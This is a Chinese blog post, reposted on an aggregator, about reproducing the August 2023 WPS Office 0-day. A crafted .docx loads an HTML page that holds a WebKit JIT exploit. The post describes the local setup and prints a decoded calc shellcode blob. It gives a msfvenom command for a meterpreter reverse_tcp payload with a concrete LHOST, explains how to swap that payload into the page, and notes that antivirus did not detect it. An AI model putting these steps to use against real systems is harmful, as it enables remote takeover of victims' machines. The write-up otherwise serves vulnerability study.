WPS-0DAY-20230809的分析和利用复现

这篇具有很好参考价值的文章主要介绍了WPS-0DAY-20230809的分析和利用复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、漏洞学习

强调:以下内容仅供学习和测试,一切行为均在本地进行。利用本文复现该漏洞后切勿从事侵权或违反《网络安全法》的行为,若造成任何后果,本人概不负责。
针对网上传的版本和github上公开的版本(提前备份一下,两个版本的zip和复现成功的虚拟机已经整合至下载板块的“WPS-0DAY-20230809”——审核结果将在2-10个工作日完成上传)进行了复现,并实现了getshell的操作,由于是第一次接触shellcode略显生疏,各位大佬多多包涵。这里分享一下自己的学习经过,也希望大佬能解答一下文末的疑点。

1、本地复现

B站上也有其他大佬本地复现的视频,可以自行搜索观看。

环境

Windows 10 企业版2H22、wps12300、phpstudy8.1.1.3(其他:火绒最新版、winrar)
(我镜像里面那个idea的安装包没啥用,纯粹是复现某个java的cms用的,这个快照也没安装,emmm,winrar自己下一个吧,我就懒得再打包一个快照了。皮一下很开心~)

过程

小皮起个本地网站,将1.html放进去,开启apache2即可
WPS-0DAY-20230809的分析和利用复现,原理实验,wps修改hosts文件,重启网站(可以直接下载我整理的资料,到文档里复制,如果自己手中有资源或者愿意打字,当我没说)。
WPS-0DAY-20230809的分析和利用复现,原理实验,wps双击poc.docx并打开
WPS-0DAY-20230809的分析和利用复现,原理实验,wps本地复现成功。
WPS-0DAY-20230809的分析和利用复现,原理实验,wps

2、代码解析

这里因为学识有限找个AI读了一下。

1.html

当分析这个代码段时,我们可以看到它实际上在利用一个 WebKit(浏览器引擎)中的漏洞,来实现对浏览器内存的非法访问和控制。以下是代码的主要漏洞利用部分的分析:

Memory Corruption:
在代码中的 foo 函数中,利用了一个 JIT (Just-In-Time) 编译器的漏洞,通过触发对函数的 JIT 编译,创建了一些特定的数据结构,这些结构在内存中存储了相互关联的函数和对象。但由于编译器的缺陷,这些结构可能被损坏,导致后续访问时产生内存错误。

Out-of-Bounds Access:
在代码中的 addrof 和 fakeobj 函数中,利用了一个越界访问漏洞,通过操纵数组的边界条件,可以读写数组之外的内存。具体来说,通过修改数组的长度和元素,可以实现越界读取和写入操作。

Arbitrary Read/Write:
通过越界访问,可以读写到特定内存位置,甚至可以读写到具有敏感权限的内存区域。这允许了对一些内存结构进行读写,从而绕过浏览器的内存保护机制。

WebAssembly and Shellcode Execution:
通过创建 WebAssembly 模块,并将其中的 shellcode(一段具有特定功能的二进制代码)写入内存,代码实现了对内存区域的写入,即将 shellcode 写入浏览器内存。之后,通过调用 WebAssembly 实例中的函数,实际上在浏览器中执行了 shellcode。

Exploitation:
总的来说,代码通过越界访问和内存错误,成功地修改了浏览器内存中的数据结构,并实现了对内存的非法读写。通过写入 shellcode 并执行它,代码最终实现了对浏览器中的操作系统层面的控制。

需要注意的是,这是一个非常复杂的漏洞利用,利用了多个不同的漏洞点,包括 JIT 编译器的缺陷、越界访问等。此类漏洞利用在现代浏览器中是极其罕见的,浏览器供应商通常会及时修复这些问题以保护用户的安全。然而,这也强调了编写安全的 JavaScript 代码以及保持浏览器更新的重要性。

exp.py

这段代码是一个 Python 脚本,主要用于修改 Microsoft Word 文档中的链接。它使用了 lxml 库来解析和处理 XML 数据,以及 zipfile 库来操作 Office Open XML (OOXML) 格式的 Word 文档(.docx 文件)。

replace_url_in_docx函数:打开指定的 .docx 文件,查找并替换其中的 URL。
具体步骤如下:
打开 .docx 文件,使用 “a” 模式,表示追加模式。
在 zip 压缩文件中查找 webExtension1.xml 文件的路径。
如果找不到 webExtension1.xml 文件,输出错误信息并关闭文件。
读取 webExtension1.xml 文件的内容。
解析 XML 内容,得到根元素。
使用特定的命名空间查找 标签,并替换其中的 URL。
将修改后的 XML 内容写回压缩文件。
关闭压缩文件。

其他的都代码没什么,解析这段代码主要就是为了复现这个“poc.docx”,但是并没有制造出这个poc.docx,具体的测试会在最后的疑点中阐述。

3、通过修改shellcode拿shell

曲折的学习

不得不感慨,还好身边有些懂行的大佬,不然复现shellcode的思路都没有,必须感谢一下“.”和“PMR”(昵称)的指导。
这里主要吐槽一下我对shellcode的第一映像,大佬们可以当个笑话乐一下。
1.html中有这样一段shellcode,套了下AI的话,它告诉我这是x86的机器码,十六进制ASCII解码后里面有个“calc”,就是倒数第五个到倒数第二个。
WPS-0DAY-20230809的分析和利用复现,原理实验,wps我想着那就解密一下呗(现在看起来当时自己是真的蠢),但是存在函数无法识别的字符,那就写个脚本一一对应的替换一下呗。
WPS-0DAY-20230809的分析和利用复现,原理实验,wps结果接长这样,emmmm,替换calc为charmap再加密试试?然后不出意外的失败了。

üè‚NULNULNUL`‰å1Àd‹P0‹RFF‹RDC4‹r(SI·J&1ÿ¬<a|STX,
ÁÏCRSOHÇâòRW‹RDLE‹J<‹LDC1xãHSOHÑQ‹Y
SOHÓ‹ICANã:I‹4‹SOHÖ1ÿ¬ÁÏCRSOHÇ8àuöETX}ø;}$uäX‹X$SOHÓf‹FFK‹XFSSOHÓ‹EOT‹SOHЉD$$[[aYZQÿà__Z‹DC2ë
]jSOH
…²NULNULNULPh1‹o‡ÿÕ»àGS*LFh¦•½
ÿÕ<ACK|LF€ûàuENQ»GDC3rojNULSÿÕcalcNUL

msf生成sc

好了,下面就是成功的结果了,kali终端执行一下就可以得到和网传的版本一模一样的结果了。

msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num

然后要拿shell就用最常规的payload,同样设置-f为num就可以了。

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.1.1.181 LPORT=9999 EXITFUNC=thread -f num

接着muti/hander监听一下,把生成的shellcode那道nodepad++里面删除一下“\r\n”复制并覆盖1.html的const shellcode里就行了。
最后双击poc.docx(因为懒,没有在kali启80搭1.html,如果你想要严谨一点自己在kali配置就可以了),拿到shell。
WPS-0DAY-20230809的分析和利用复现,原理实验,wps哦,对了,再白一句,火绒没检测出来。

二、疑点

1、问题

直接说我的疑惑:image到底是什么,为什么它会影响漏洞的复现?

2、我的测试

测试方法

winrar直接打开poc.docx,进行对照实验。
WPS-0DAY-20230809的分析和利用复现,原理实验,wps

测试结果

(不是很了解wps的文件结构,以下结论对于大佬来说可能不算什么结果)
1xlsx文件(poc.docx\word\embeddings\Workbook1.xlsx)删了倒是无所谓poc还可以正常执行,而且正常生成的docx没有该文档。
2执行exp.py修改“poc.docx\word\webExtensions\webExtension1.xml”之前需要通过wps的加载项,加载一个xml——这个poc.docx的构建黑客一定操作了这一步,因为正常生成的docx文件没有webExtensions目录。
3windows过期(或者未激活状态)复现失败。
本对照实验仅为一次简单的测试,可能存在未考虑的因素,这里分享另外两位大佬的测试流程。
https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg
https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA
本人测试结果与其存在差异或存在错误,均为能力所困,实属正常(本测试结果仅供参考)。文章来源地址https://www.toymoban.com/news/detail-651672.html

到了这里,关于WPS-0DAY-20230809的分析和利用复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【IP-guard WebServer 远程命令执行漏洞复现(0day)】

    IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件,旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。 IP-guard Webserver远程命令执行漏洞(RCE)的问题,是因为旧版本申请审批的文件预览功能用到了一个开源的插件 flexpaper,使用的这个

    2024年02月05日
    浏览(31)
  • 【0day】复现时空智友企业流程化管控系统SQL注入漏洞

    注:该文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与作者无关。 目录 一、漏洞描述 二、影响版本 三、资产测绘 四、漏洞复现 

    2024年02月11日
    浏览(30)
  • 用友U8+CRM 任意文件上传+读取漏洞复现(HW0day)

          用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。    用友 U8 CRM客户关系管理系统 getemaildata.php 文件存在任意文件上传和任意文件读取漏洞,攻击者通过漏洞可以获取到服务器权限。 鹰图

    2024年02月13日
    浏览(34)
  • 泛微E-Office任意文件上传漏洞复现(HW0day)

         泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。      泛微e-office 9.5版本源文件/webservice/upload.php接口处

    2024年02月13日
    浏览(27)
  • Dedecms最新版--0day分享分析(二)

    接之前写的一篇《Dedecms V110最新版RCE---Tricks》,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。 环境 下载最新版本: https://updatenew.dedecms.com/base-v57/package

    2024年02月10日
    浏览(32)
  • HNU-编译原理-实验1-利用FLEX构造C-Minus-f词法分析器

    计科210X 甘晴void 202108010XXX 详细的实验项目文档为 https://gitee.com/coderwym/cminus_compiler-2023-fall/tree/master/Documentations/lab1 学习和掌握词法分析程序的逻辑原理与构造方法。通过 FLEX 进行实践, 构造 C-Minus-f 词法分析器。具体完成过程如下: 学习 C-Minus-f 的词法规则 学习 FLEX 工具使

    2024年01月20日
    浏览(32)
  • 物联网控制原理与技术--基于Matlab/利用MATLAB进行频域分析(伯德图)的应用(超详细/设计/实验/作业/练习)

    (1)熟练掌握运用MATLAB命令绘制控制系统伯德图的方法; (2)了解系统伯德图的一般规律及其频域指标的获取方法; (3)熟练掌握运用伯德图分析控制系统稳定性的方法; 1、Windows 10 2、Matlab 2012a 1. 用MATLAB作伯德图 控制系统工具箱里提供的bode()函数可以直接求取、绘制给

    2024年02月09日
    浏览(31)
  • 什么是0day漏洞?如何预防0day攻击?

    0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。 0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,

    2024年02月01日
    浏览(25)
  • [20230809]ora-04030问题分析整理.txt

    [20230809]ora-04030问题分析整理.txt --//生产系统同事使用toad连接经常出现ora-04030错误。 ORA-04030: out of process memory when trying to allocate 123416 bytes (QERHJ hash-joi,kllcqas:kllsltba) --//仔细看joi确实不是join,开始猜测可能某个程序的sql语句选择hash-join,导致pga消耗太大。 --//同事给了我alert日志的

    2024年02月11日
    浏览(37)
  • 什么是0day漏洞,1day漏洞和nday漏洞?

    作者:火绒安全 链接:https://www.zhihu.com/question/323059851/answer/2642868488 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。   “0-day漏洞”(又称零日漏洞) ,通常就是指还 没有补丁的安全漏洞 ,也就是已经 被少数人发现的,但还没被传

    2024年02月16日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包